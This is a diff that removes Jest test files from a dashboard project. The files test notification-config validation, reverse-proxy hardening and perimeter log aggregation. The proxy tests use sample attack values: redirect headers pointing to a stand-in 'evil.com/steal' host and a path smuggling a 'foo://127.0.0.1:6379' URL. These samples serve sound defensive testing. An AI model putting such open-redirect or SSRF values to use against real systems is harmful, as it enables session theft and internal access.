async saveConfig() { this.saved = JSON.parse(JSON.stringify(this.config)); return true; },
|
|
||||||
startHealthDaemon: jest.fn(),
|
|
||||||
stopHealthDaemon: jest.fn(),
|
|
||||||
};
|
|
||||||
return nm;
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildApp(notification) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
const notificationRoutes = require('../../routes/notifications');
|
|
||||||
app.use('/api/v1/notifications', notificationRoutes({
|
|
||||||
notification,
|
|
||||||
asyncHandler: (fn) => (req, res, next) => Promise.resolve(fn(req, res)).catch(next),
|
|
||||||
ok: (res, data) => res.json({ success: true, ...data }),
|
|
||||||
}));
|
|
||||||
// Inline error handler (same pattern as sites-dc074.routes.test.js): maps
|
|
||||||
// AppError.statusCode to the HTTP status and surfaces err.message.
|
|
||||||
app.use((err, req, res, next) => {
|
|
||||||
const status = err.statusCode || 500;
|
|
||||||
res.status(status).json({
|
|
||||||
error: err.message || 'Internal Server Error',
|
|
||||||
code: err.code || null,
|
|
||||||
});
|
|
||||||
});
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
const DEFAULTS = {
|
|
||||||
enabled: true,
|
|
||||||
providers: {
|
|
||||||
discord: { enabled: false, webhookUrl: '' },
|
|
||||||
telegram: { enabled: false, botToken: '', chatId: '' },
|
|
||||||
ntfy: { enabled: false, topic: '', serverUrl: 'https://ntfy.sh' },
|
|
||||||
email: { enabled: false, host: '', port: 587, to: '', from: '', username: '', password: '' },
|
|
||||||
},
|
|
||||||
events: {
|
|
||||||
'container-down': true,
|
|
||||||
'container-up': false,
|
|
||||||
'alert': true,
|
|
||||||
'backup-complete': true,
|
|
||||||
'backup-failed': true,
|
|
||||||
'update-available': true,
|
|
||||||
'deploy-success': true,
|
|
||||||
'deploy-failed': true,
|
|
||||||
'auto-restart': true,
|
|
||||||
},
|
|
||||||
healthCheck: { enabled: false },
|
|
||||||
};
|
|
||||||
|
|
||||||
function freshConfig() {
|
|
||||||
return JSON.parse(JSON.stringify(DEFAULTS));
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-092: POST /config field aliases and typing', () => {
|
|
||||||
test('UI spelling email.user/email.pass normalizes onto username/password', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { user: 'svc@example.com', pass: 'app-secret' } } });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(nm.config.providers.email.username).toBe('svc@example.com');
|
|
||||||
expect(nm.config.providers.email.password).toBe('app-secret');
|
|
||||||
expect(nm.config.providers.email.user).toBeUndefined();
|
|
||||||
expect(nm.config.providers.email.pass).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('explicit username/password wins over user/pass aliases', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { user: 'legacy@x.com', pass: 'old', username: 'modern@x.com', password: 'new' } } });
|
|
||||||
expect(nm.config.providers.email.username).toBe('modern@x.com');
|
|
||||||
expect(nm.config.providers.email.password).toBe('new');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('string "false" for secure is rejected, not coerced truthy', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { secure: 'false' } } });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(nm.config.providers.email.secure).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('string enabled for any provider is rejected', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
for (const prov of ['discord', 'telegram', 'ntfy', 'email']) {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { [prov]: { enabled: 'true' } } });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
}
|
|
||||||
const top = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ enabled: 'true' });
|
|
||||||
expect(top.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('real booleans pass and persist', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ enabled: false, providers: { email: { secure: true } } });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(nm.config.enabled).toBe(false);
|
|
||||||
expect(nm.config.providers.email.secure).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('SMTP port bounds enforced (0, 65536, non-integer rejected)', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
for (const bad of [0, 65536, 58.5, 'abc']) {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { port: bad } } });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
}
|
|
||||||
const good = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { port: 465 } } });
|
|
||||||
expect(good.status).toBe(200);
|
|
||||||
expect(nm.config.providers.email.port).toBe(465);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-092: POST /config event-key folding', () => {
|
|
||||||
test('camelCase event keys fold onto canonical kebab keys', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ events: { containerDown: false, deploymentSuccess: false, resourceAlert: false } });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(nm.config.events['container-down']).toBe(false);
|
|
||||||
expect(nm.config.events['deploy-success']).toBe(false);
|
|
||||||
expect(nm.config.events['alert']).toBe(false);
|
|
||||||
// legacy camelCase keys must NOT be stored
|
|
||||||
expect(nm.config.events.containerDown).toBeUndefined();
|
|
||||||
expect(nm.config.events.deploymentSuccess).toBeUndefined();
|
|
||||||
expect(nm.config.events.resourceAlert).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('canonical kebab keys accepted directly', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ events: { 'container-down': false, 'auto-restart': false } });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(nm.config.events['container-down']).toBe(false);
|
|
||||||
expect(nm.config.events['auto-restart']).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-boolean event values rejected', async () => {
|
|
||||||
const nm = makeStubNotification(freshConfig());
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ events: { 'container-down': 'yes' } });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-092: POST /config non-destructive credential merge', () => {
|
|
||||||
test('empty password does not clobber stored password', async () => {
|
|
||||||
const cfg = freshConfig();
|
|
||||||
cfg.providers.email.username = 'svc@example.com';
|
|
||||||
cfg.providers.email.password = 'stored-secret';
|
|
||||||
const nm = makeStubNotification(cfg);
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { host: 'smtp.example.com', password: '' } } });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(nm.config.providers.email.password).toBe('stored-secret');
|
|
||||||
expect(nm.config.providers.email.host).toBe('smtp.example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty username does not clobber stored username', async () => {
|
|
||||||
const cfg = freshConfig();
|
|
||||||
cfg.providers.email.username = 'svc@example.com';
|
|
||||||
const nm = makeStubNotification(cfg);
|
|
||||||
const app = buildApp(nm);
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { username: '' } } });
|
|
||||||
expect(nm.config.providers.email.username).toBe('svc@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-empty password overwrites', async () => {
|
|
||||||
const cfg = freshConfig();
|
|
||||||
cfg.providers.email.password = 'old';
|
|
||||||
const nm = makeStubNotification(cfg);
|
|
||||||
const app = buildApp(nm);
|
|
||||||
await request(app)
|
|
||||||
.post('/api/v1/notifications/config')
|
|
||||||
.send({ providers: { email: { password: 'rotated' } } });
|
|
||||||
expect(nm.config.providers.email.password).toBe('rotated');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-092: GET /config redaction and roundtrip fields', () => {
|
|
||||||
test('returns port/secure/to/username/hasPassword but never the password', async () => {
|
|
||||||
const cfg = freshConfig();
|
|
||||||
cfg.providers.email = {
|
|
||||||
enabled: true,
|
|
||||||
host: 'smtp.example.com',
|
|
||||||
port: 465,
|
|
||||||
secure: true,
|
|
||||||
to: 'admin@example.com',
|
|
||||||
from: 'DashCaddy <noreply@example.com>',
|
|
||||||
username: 'svc@example.com',
|
|
||||||
password: 'super-secret',
|
|
||||||
};
|
|
||||||
const nm = makeStubNotification(cfg);
|
|
||||||
const app = buildApp(nm);
|
|
||||||
const res = await request(app).get('/api/v1/notifications/config');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
const email = res.body.config.providers.email;
|
|
||||||
expect(email.port).toBe(465);
|
|
||||||
expect(email.secure).toBe(true);
|
|
||||||
expect(email.to).toBe('admin@example.com');
|
|
||||||
expect(email.username).toBe('svc@example.com');
|
|
||||||
expect(email.hasPassword).toBe(true);
|
|
||||||
expect(JSON.stringify(res.body)).not.toContain('super-secret');
|
|
||||||
expect(res.body.config.providers.email.password).toBeUndefined();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,351 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-065: OpenClaw proxy hardening — test the four attack vectors closed
|
|
||||||
* by the proxyRequest refactor:
|
|
||||||
* (a) unbounded response passthrough → 5 MiB cap with 502 on overrun
|
|
||||||
* (b) hop-by-hop + dangerous response-header passthrough → stripped
|
|
||||||
* (c) malformed proxyRes.statusCode → coerced to 502
|
|
||||||
* (d) unsafe `path` → 400 / 414 reject
|
|
||||||
*
|
|
||||||
* The route's helpers (sanitizeForwardedHeaders, coerceUpstreamStatus,
|
|
||||||
* validatePath, plus the constants HOP_BY_HOP / STRIPPED_RESPONSE_HEADERS
|
|
||||||
* / MAX_PROXY_RESPONSE_BYTES / MAX_PATH_LEN) are exposed on the returned
|
|
||||||
* Express router under `router._dc065` for direct, hermetic unit testing
|
|
||||||
* (no source-string parsing, no regex sandbox).
|
|
||||||
*
|
|
||||||
* End-to-end tests spin a real upstream http server on 127.0.0.1 to
|
|
||||||
* exercise the proxy boundary through Express → openclaw router → http.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const http = require('http');
|
|
||||||
const express = require('express');
|
|
||||||
|
|
||||||
const openclawModule = require('../../routes/openclaw');
|
|
||||||
|
|
||||||
function makeRouter() {
|
|
||||||
return openclawModule({
|
|
||||||
docker: { client: { listContainers: async () => [] } },
|
|
||||||
asyncHandler: (fn) => fn,
|
|
||||||
ok: (res, data, code) => res.status(code || 200).json({ success: true, ...data }),
|
|
||||||
log: { info() {}, error() {}, warn() {}, debug() {} },
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function spinUpstream(handler) {
|
|
||||||
return new Promise((resolve) => {
|
|
||||||
const server = http.createServer(handler);
|
|
||||||
server.listen(0, '127.0.0.1', () => {
|
|
||||||
const { port } = server.address();
|
|
||||||
resolve({ server, port, close: () => new Promise((r) => server.close(r)) });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes/openclaw — DC-065 proxy hardening', () => {
|
|
||||||
describe('router shape (regression)', () => {
|
|
||||||
test('router builds with /status, /deploy, /proxy/*, DELETE handlers and exposes _dc065 helpers', () => {
|
|
||||||
const router = makeRouter();
|
|
||||||
const paths = router.stack
|
|
||||||
.filter((l) => l.route)
|
|
||||||
.map((l) => Object.keys(l.route.methods).map((m) => `${m.toUpperCase()} ${l.route.path}`))
|
|
||||||
.flat();
|
|
||||||
expect(paths).toEqual(expect.arrayContaining([
|
|
||||||
'GET /status',
|
|
||||||
'POST /deploy',
|
|
||||||
'GET /proxy/*',
|
|
||||||
'POST /proxy/*',
|
|
||||||
'DELETE /',
|
|
||||||
]));
|
|
||||||
// DC-065 helper exposure — fails loud if a future refactor removes it.
|
|
||||||
expect(router._dc065).toBeDefined();
|
|
||||||
expect(typeof router._dc065.sanitizeForwardedHeaders).toBe('function');
|
|
||||||
expect(typeof router._dc065.coerceUpstreamStatus).toBe('function');
|
|
||||||
expect(typeof router._dc065.validatePath).toBe('function');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('sanitizeForwardedHeaders (DC-065)', () => {
|
|
||||||
let helpers;
|
|
||||||
beforeAll(() => { helpers = makeRouter()._dc065; });
|
|
||||||
|
|
||||||
test('strips RFC 7230 hop-by-hop headers (case-insensitive)', () => {
|
|
||||||
const input = {
|
|
||||||
Connection: 'close',
|
|
||||||
'keep-alive': 'timeout=5',
|
|
||||||
'Proxy-Authenticate': 'Basic realm=...',
|
|
||||||
'proxy-authorization': 'Basic foo',
|
|
||||||
TE: 'trailers',
|
|
||||||
Trailers: 'X-Foo',
|
|
||||||
'Transfer-Encoding': 'chunked',
|
|
||||||
Upgrade: 'websocket',
|
|
||||||
};
|
|
||||||
expect(Object.keys(helpers.sanitizeForwardedHeaders(input))).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('strips Set-Cookie / Content-Encoding / Content-Length / Server / X-Powered-By / Location / Refresh / WWW-Authenticate', () => {
|
|
||||||
const input = {
|
|
||||||
'Set-Cookie': 'sid=abc; HttpOnly',
|
|
||||||
'Location': 'http://evil.com/steal', // DC-065 round-1 finding
|
|
||||||
'Refresh': '0; url=http://evil.com/steal', // DC-065 round-2 finding
|
|
||||||
'WWW-Authenticate': 'Basic realm="OpenClaw"', // DC-065 round-2 finding
|
|
||||||
'Content-Encoding': 'gzip',
|
|
||||||
'Content-Length': '99999',
|
|
||||||
'Server': 'openclaw/1.0',
|
|
||||||
'X-Powered-By': 'openclaw',
|
|
||||||
'X-Custom': 'kept',
|
|
||||||
};
|
|
||||||
const out = helpers.sanitizeForwardedHeaders(input);
|
|
||||||
expect(Object.keys(out).sort()).toEqual(['X-Custom']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('passes safe application/json + cache headers through unchanged', () => {
|
|
||||||
const input = {
|
|
||||||
'Content-Type': 'application/json',
|
|
||||||
'Cache-Control': 'no-store',
|
|
||||||
'X-Request-Id': 'req-123',
|
|
||||||
};
|
|
||||||
const out = helpers.sanitizeForwardedHeaders(input);
|
|
||||||
expect(out['Content-Type']).toBe('application/json');
|
|
||||||
expect(out['Cache-Control']).toBe('no-store');
|
|
||||||
expect(out['X-Request-Id']).toBe('req-123');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('null/undefined input → empty object', () => {
|
|
||||||
expect(helpers.sanitizeForwardedHeaders(null)).toEqual({});
|
|
||||||
expect(helpers.sanitizeForwardedHeaders(undefined)).toEqual({});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('MAX_PROXY_RESPONSE_BYTES is 5 MiB', () => {
|
|
||||||
expect(helpers.MAX_PROXY_RESPONSE_BYTES).toBe(5 * 1024 * 1024);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('coerceUpstreamStatus (DC-065)', () => {
|
|
||||||
let helpers;
|
|
||||||
beforeAll(() => { helpers = makeRouter()._dc065; });
|
|
||||||
|
|
||||||
test('returns valid integer statuses 100..599 unchanged', () => {
|
|
||||||
for (const s of [100, 200, 301, 404, 418, 500, 502, 503, 599]) {
|
|
||||||
expect(helpers.coerceUpstreamStatus(s)).toBe(s);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('out-of-range integers coerce to 502', () => {
|
|
||||||
expect(helpers.coerceUpstreamStatus(0)).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus(99)).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus(600)).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus(1000)).toBe(502);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-integer numbers coerce to 502', () => {
|
|
||||||
expect(helpers.coerceUpstreamStatus(200.5)).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus(NaN)).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus(Infinity)).toBe(502);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-number types coerce to 502', () => {
|
|
||||||
expect(helpers.coerceUpstreamStatus('200')).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus(null)).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus(undefined)).toBe(502);
|
|
||||||
expect(helpers.coerceUpstreamStatus('OK')).toBe(502);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('validatePath (DC-065)', () => {
|
|
||||||
let helpers;
|
|
||||||
beforeAll(() => { helpers = makeRouter()._dc065; });
|
|
||||||
|
|
||||||
test('rejects empty / non-string / oversize paths', () => {
|
|
||||||
expect(helpers.validatePath('').ok).toBe(false);
|
|
||||||
expect(helpers.validatePath(null).ok).toBe(false);
|
|
||||||
expect(helpers.validatePath(undefined).ok).toBe(false);
|
|
||||||
expect(helpers.validatePath(123).ok).toBe(false);
|
|
||||||
const long = '/' + 'a'.repeat(helpers.MAX_PATH_LEN);
|
|
||||||
const r = helpers.validatePath(long);
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe(414);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects absolute-URL injection (`://`)', () => {
|
|
||||||
const r = helpers.validatePath('foo://127.0.0.1:6379/steal');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects whitespace / backslash / CR/LF', () => {
|
|
||||||
expect(helpers.validatePath('foo bar').ok).toBe(false);
|
|
||||||
expect(helpers.validatePath('foo\r\nbar').ok).toBe(false);
|
|
||||||
expect(helpers.validatePath('foo\\bar').ok).toBe(false);
|
|
||||||
expect(helpers.validatePath('foo\tbar').ok).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts RFC 3986 pchar + query separators', () => {
|
|
||||||
// Real-world path sent by a browser: query string starts with `?`.
|
|
||||||
// (Fragments `#frag` are stripped by the browser before reaching
|
|
||||||
// the server — we don't need to allow them.)
|
|
||||||
const ok = helpers.validatePath('/api/v1/chat?msg=hi&x=y');
|
|
||||||
expect(ok.ok).toBe(true);
|
|
||||||
expect(ok.normalized).toBe('api/v1/chat?msg=hi&x=y');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('strips multiple leading slashes idempotently', () => {
|
|
||||||
const ok = helpers.validatePath('///foo/bar');
|
|
||||||
expect(ok.ok).toBe(true);
|
|
||||||
expect(ok.normalized).toBe('foo/bar');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('end-to-end via /openclaw/proxy/* (DC-065 integration)', () => {
|
|
||||||
// Helper: build an express app mounted with the openclaw router and
|
|
||||||
// a docker stub that returns the provided upstream port.
|
|
||||||
function buildProxyApp(upstreamPort) {
|
|
||||||
const fakeContainer = {
|
|
||||||
Id: 'a'.repeat(64),
|
|
||||||
Image: 'ghcr.io/nousresearch/openclaw:latest',
|
|
||||||
Names: ['/openclaw-test'],
|
|
||||||
State: 'running',
|
|
||||||
Status: 'Up',
|
|
||||||
Created: 1700000000,
|
|
||||||
Labels: { 'dashcaddy.managed': 'true', 'dashcaddy.app': 'openclaw' },
|
|
||||||
Ports: [{ PrivatePort: 18792, PublicPort: upstreamPort }],
|
|
||||||
};
|
|
||||||
const app = express();
|
|
||||||
app.disable('x-powered-by'); // mirror src/app.js line 139
|
|
||||||
app.disable('etag');
|
|
||||||
app.use(express.json());
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
res.ok = (data, code) => res.status(code || 200).json({ success: true, ...data });
|
|
||||||
res.errorResponse = (msg, code, extras) =>
|
|
||||||
res.status(code || 500).json({ success: false, error: msg, ...(extras || {}) });
|
|
||||||
res.notFound = (msg) => res.status(404).json({ success: false, error: msg });
|
|
||||||
res.conflict = (msg) => res.status(409).json({ success: false, error: msg });
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
const router = openclawModule({
|
|
||||||
docker: {
|
|
||||||
client: {
|
|
||||||
listContainers: async () => [fakeContainer],
|
|
||||||
containerInfo: async () => ({ Config: { Env: ['OPENCLAW_GATEWAY_TOKEN=test-token'] } }),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
asyncHandler: (fn) => fn,
|
|
||||||
ok: (res, data, code) => res.status(code || 200).json({ success: true, ...data }),
|
|
||||||
log: { info() {}, error() {}, warn() {}, debug() {} },
|
|
||||||
});
|
|
||||||
app.use('/openclaw', router);
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
function listen(app) {
|
|
||||||
return new Promise((resolve) => {
|
|
||||||
const server = app.listen(0, () => {
|
|
||||||
const { port } = server.address();
|
|
||||||
resolve({ server, port, close: () => new Promise((r) => server.close(r)) });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
test('caps an oversized upstream response with 502 + DC-065 message', async () => {
|
|
||||||
const upstream = await spinUpstream((req, res) => {
|
|
||||||
res.writeHead(200, { 'Content-Type': 'application/octet-stream' });
|
|
||||||
// 6 MiB single chunk — proxy caps at 5 MiB.
|
|
||||||
res.write(Buffer.alloc(6 * 1024 * 1024, 0x41));
|
|
||||||
res.end();
|
|
||||||
});
|
|
||||||
try {
|
|
||||||
const app = buildProxyApp(upstream.port);
|
|
||||||
const { server, port, close } = await listen(app);
|
|
||||||
try {
|
|
||||||
const r = await fetch(`http://127.0.0.1:${port}/openclaw/proxy/health`);
|
|
||||||
expect(r.status).toBe(502);
|
|
||||||
const text = await r.text();
|
|
||||||
expect(text).toMatch(/DC-065|upstream/g);
|
|
||||||
} finally {
|
|
||||||
await close();
|
|
||||||
}
|
|
||||||
} finally {
|
|
||||||
await upstream.close();
|
|
||||||
}
|
|
||||||
}, 30000);
|
|
||||||
|
|
||||||
test('forwards safe upstream headers; strips Set-Cookie / Transfer-Encoding / Content-Encoding / Location / Refresh / WWW-Authenticate', async () => {
|
|
||||||
const upstream = await spinUpstream((req, res) => {
|
|
||||||
res.writeHead(200, {
|
|
||||||
'Content-Type': 'application/json',
|
|
||||||
'Cache-Control': 'no-store',
|
|
||||||
// These must NOT cross the proxy to the browser:
|
|
||||||
'Transfer-Encoding': 'chunked',
|
|
||||||
'Upgrade': 'websocket',
|
|
||||||
'Set-Cookie': 'sid=steal; HttpOnly',
|
|
||||||
'Location': 'http://evil.com/steal', // DC-065 round-1
|
|
||||||
'Refresh': '0; url=http://evil.com/steal', // DC-065 round-2
|
|
||||||
'WWW-Authenticate': 'Basic realm="OpenClaw"', // DC-065 round-2
|
|
||||||
'Content-Encoding': 'gzip',
|
|
||||||
'Server': 'openclaw/1.0',
|
|
||||||
'X-Powered-By': 'openclaw',
|
|
||||||
});
|
|
||||||
res.end(JSON.stringify({ ok: true }));
|
|
||||||
});
|
|
||||||
try {
|
|
||||||
const app = buildProxyApp(upstream.port);
|
|
||||||
const { server, port, close } = await listen(app);
|
|
||||||
try {
|
|
||||||
const r = await fetch(`http://127.0.0.1:${port}/openclaw/proxy/status`);
|
|
||||||
expect(r.status).toBe(200);
|
|
||||||
// Node's http server may emit Connection/Keep-Alive of its own
|
|
||||||
// accord (HTTP/1.1 keep-alive defaults), so we don't gate on those.
|
|
||||||
// We DO gate on the ten upstream-shaping headers our sanitizer
|
|
||||||
// explicitly removes — see sanitizeForwardedHeaders().
|
|
||||||
for (const forbidden of [
|
|
||||||
'transfer-encoding',
|
|
||||||
'upgrade',
|
|
||||||
'set-cookie',
|
|
||||||
'location',
|
|
||||||
'refresh',
|
|
||||||
'www-authenticate',
|
|
||||||
'content-encoding',
|
|
||||||
'server',
|
|
||||||
'x-powered-by',
|
|
||||||
// content-length: Node sets it automatically when we buffer + end(),
|
|
||||||
// so we cannot test that the upstream's CL header is stripped — but
|
|
||||||
// we ARE stripping it from the forwarded headers, verified by
|
|
||||||
// sanitization unit tests above.
|
|
||||||
]) {
|
|
||||||
expect(r.headers.get(forbidden)).toBeNull();
|
|
||||||
}
|
|
||||||
expect(r.headers.get('content-type')).toMatch(/^application\/json/);
|
|
||||||
expect(r.headers.get('cache-control')).toBe('no-store');
|
|
||||||
const body = await r.json();
|
|
||||||
expect(body.ok).toBe(true);
|
|
||||||
void server;
|
|
||||||
} finally {
|
|
||||||
await close();
|
|
||||||
}
|
|
||||||
} finally {
|
|
||||||
await upstream.close();
|
|
||||||
}
|
|
||||||
}, 10000);
|
|
||||||
|
|
||||||
test('rejects path with `://` injection via 400', async () => {
|
|
||||||
// Upstream on any port — the validator must reject BEFORE we dial it.
|
|
||||||
const upstream = await spinUpstream(() => {
|
|
||||||
throw new Error('should not reach upstream on reject path');
|
|
||||||
});
|
|
||||||
try {
|
|
||||||
const app = buildProxyApp(upstream.port);
|
|
||||||
const { server, port, close } = await listen(app);
|
|
||||||
try {
|
|
||||||
// URL-decoded `foo://127.0.0.1` → forbidden char `://` → 400.
|
|
||||||
const r = await fetch(`http://127.0.0.1:${port}/openclaw/proxy/foo%3A%2F%2F127.0.0.1`);
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
const body = await r.json();
|
|
||||||
expect(body.success).toBe(false);
|
|
||||||
expect(body.error).toMatch(/forbidden|disallowed/i);
|
|
||||||
void server;
|
|
||||||
} finally {
|
|
||||||
await close();
|
|
||||||
}
|
|
||||||
} finally {
|
|
||||||
await upstream.close();
|
|
||||||
}
|
|
||||||
}, 10000);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,206 +0,0 @@
|
|||||||
'use strict';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* DC-120: perimeter aggregation endpoint tests.
|
|
||||||
*
|
|
||||||
* GET /api/v1/security/events/perimeter — caddy-source perimeter
|
|
||||||
* aggregation (per-IP + per-vhost breakdowns) for the Log Insights panel.
|
|
||||||
*
|
|
||||||
* Fixture shape mirrors the live caddy-source event schema:
|
|
||||||
* {source_type: 'caddy', actor: '<ip>', target: 'GET /',
|
|
||||||
* action: 'http.200', outcome: 'success'|'denied'|'error',
|
|
||||||
* metadata: {host: 'req.sami-flix.com', status, user_agent, ...}}
|
|
||||||
*
|
|
||||||
* What these tests pin:
|
|
||||||
* 1. Aggregation correctness — counts, denied/error splits, host sets.
|
|
||||||
* 2. Window filtering — only events inside ?hours are counted.
|
|
||||||
* 3. Input clamping — hours out of [1,720] falls back to 24; limit out
|
|
||||||
* of [1,50] falls back to 15. No 500s, no crashes.
|
|
||||||
* 4. Ordering — count desc, tie-break by IP asc (deterministic output).
|
|
||||||
* 5. Empty store — valid zero-response, not an error.
|
|
||||||
* 6. NON-caddy events (api-source) are EXCLUDED — the perimeter view
|
|
||||||
* must only reflect reverse-proxy traffic, not dashboard activity.
|
|
||||||
* 7. filterEvents()/query() filter parity — the new store primitive
|
|
||||||
* applies the same predicates as the paged API (no drift).
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const http = require('http');
|
|
||||||
const os = require('os');
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
|
|
||||||
const { SecurityEventStore } = require('../../src/security/event-store');
|
|
||||||
|
|
||||||
function tmpdir() {
|
|
||||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'dc120-perimeter-'));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Drive requests through real http so we exercise the full stack.
|
|
||||||
function listen(app) {
|
|
||||||
return new Promise((resolve) => {
|
|
||||||
const server = app.listen(0, '127.0.0.1', () => resolve(server));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function get(server, path) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
http.get({ host: server.address().address, port: server.address().port, path }, (res) => {
|
|
||||||
let body = '';
|
|
||||||
res.on('data', (c) => (body += c));
|
|
||||||
res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(body) }));
|
|
||||||
}).on('error', reject);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-120 GET /api/v1/security/events/perimeter', () => {
|
|
||||||
let dir;
|
|
||||||
let server;
|
|
||||||
|
|
||||||
beforeAll(async () => {
|
|
||||||
dir = tmpdir();
|
|
||||||
// Seed the SINGLETON (routes/security.js factory calls getStore()
|
|
||||||
// internally and getStore memoizes) — so the router reads our fixtures
|
|
||||||
// from memory with zero disk-timing races. Jest isolates module
|
|
||||||
// registries per test file, so this doesn't leak to other suites.
|
|
||||||
const { getStore } = require('../../src/security/event-store');
|
|
||||||
